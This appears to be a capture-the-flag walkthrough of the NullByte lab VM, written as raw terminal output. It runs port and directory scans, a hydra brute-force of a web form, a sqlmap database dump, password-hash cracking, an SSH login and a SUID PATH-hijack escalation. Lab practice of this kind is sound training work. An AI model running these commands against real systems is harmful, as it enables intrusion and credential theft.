EXIFTOOL

HYDRA http

SQLMAP

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.10 ((Debian))

|_http-server-header: Apache/2.4.10 (Debian)

|_http-title: Null Byte 00 - level 1

111/tcp open rpcbind 2-4 (RPC #100000)

| rpcinfo:

| program version port/proto service

| 100000 2,3,4 111/tcp rpcbind

| 100000 2,3,4 111/udp rpcbind

| 100000 3,4 111/tcp6 rpcbind

| 100000 3,4 111/udp6 rpcbind

| 100024 1 35492/udp status

| 100024 1 43057/tcp status

| 100024 1 50177/tcp6 status

|_ 100024 1 53727/udp6 status

777/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)

| ssh-hostkey:

| 1024 16:30:13:d9:d5:55:36:e8:1b:b7:d9:ba:55:2f:d7:44 (DSA)

| 2048 29:aa:7d:2e:60:8b:a6:a1:c2:bd:7c:c8:bd:3c:f4:f2 (RSA)

| 256 60:06:e3:64:8f:8a:6f:a7:74:5a:8b:3f:e1:24:93:96 (ECDSA)

|_ 256 bc:f7:44:8d:79:6a:19:48:76:a3:e2:44:92:dc:13:a2 (ED25519)

MAC Address: 00:0C:29:3F:24:6A (VMware)

root@kali:/home/kali/Desktop/vulnhub/nullbyte# gobuster dir -u http://192.168.2.95/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/uploads (Status: 301)

/javascript (Status: 301)

/phpmyadmin (Status: 301)

/server-status (Status: 403)

<html>

<head><title>Null Byte 00 - level 1</title></head>

<body>

<img src="main.gif">

 If you search for the laws of harmony, you will find knowledge.

</body>

</html>

root@kali:/home/kali/Desktop/vulnhub/nullbyte# wget 192.168.2.95/main.gif

root@kali:/home/kali/Desktop/vulnhub/nullbyte# exiftool main.gif

ExifTool Version Number : 11.94

File Name : main.gif

Directory : .

File Size : 16 kB

File Modification Date/Time : 2015:08:01 12:39:30-04:00

File Access Date/Time : 2020:04:27 10:12:30-04:00

File Inode Change Date/Time : 2020:04:27 10:12:30-04:00

File Permissions : rw-r--r--

File Type : GIF

File Type Extension : gif

MIME Type : image/gif

GIF Version : 89a

Image Width : 235

Image Height : 302

Has Color Map : No

Color Resolution Depth : 8

Bits Per Pixel : 1

Background Color : 0

Comment : P-): kzMb5nVYJw

Image Size : 235x302

Megapixels : 0.071

http://192.168.2.95/kzMb5nVYJw/

root@kali:/home/kali/Desktop/vulnhub/nullbyte# hydra -l "" -P /usr/share/wordlists/rockyou.txt 192.168.2.95 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key"

[80][http-post-form] host: 192.168.2.95 password: elite

root@kali:/home/kali/Desktop/vulnhub/nullbyte# sqlmap -u http://192.168.2.95/kzMb5nVYJw/420search.php?usrtosearch=test –dbs

[*] information_schema

[*] mysql

[*] performance_schema

[*] phpmyadmin

[*] seth

root@kali:/home/kali/Desktop/vulnhub/nullbyte# sqlmap -u http://192.168.2.95/kzMb5nVYJw/420search.php?usrtosearch=test -D seth –tables

[1 table]

+-------+

| users | root@kali:/home/kali/Desktop/vulnhub/nullbyte# sqlmap -u http://192.168.2.95/kzMb5nVYJw/420search.php?usrtosearch=test -D seth -T users --dump

| id | pass | user | position |

+----+--+--------+------------+

| 1 | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank> |

| 2 | --not allowed-- | isis | employee |

https://www.base64decode.org/

c6d6bd7ebf806f43c76acc3681703b81

https://crackstation.net/

omega

root@kali:/home/kali/Desktop/vulnhub/nullbyte# ssh ramses@192.168.2.95 -p 777

ramses@NullByte:~$ cat .bash_history

sudo -s

su eric

exit

ls

clear

cd /var/www

cd backup/

ls

./procwatch

clear

sudo -s

cd /

ls

exit

ramses@NullByte:/var/www/backup$ ls -la

total 20

drwxrwxrwx 2 root root 4096 Aug 2 2015 .

drwxr-xr-x 4 root root 4096 Aug 2 2015 ..

-rwsr-xr-x 1 root root 4932 Aug 2 2015 procwatch

-rw-r--r-- 1 root root   28 Aug 2 2015 readme.txt

ramses@NullByte:/var/www/backup$ export PATH=.:$PATH

ramses@NullByte:/var/www/backup$

ramses@NullByte:/var/www/backup$ ./procwatch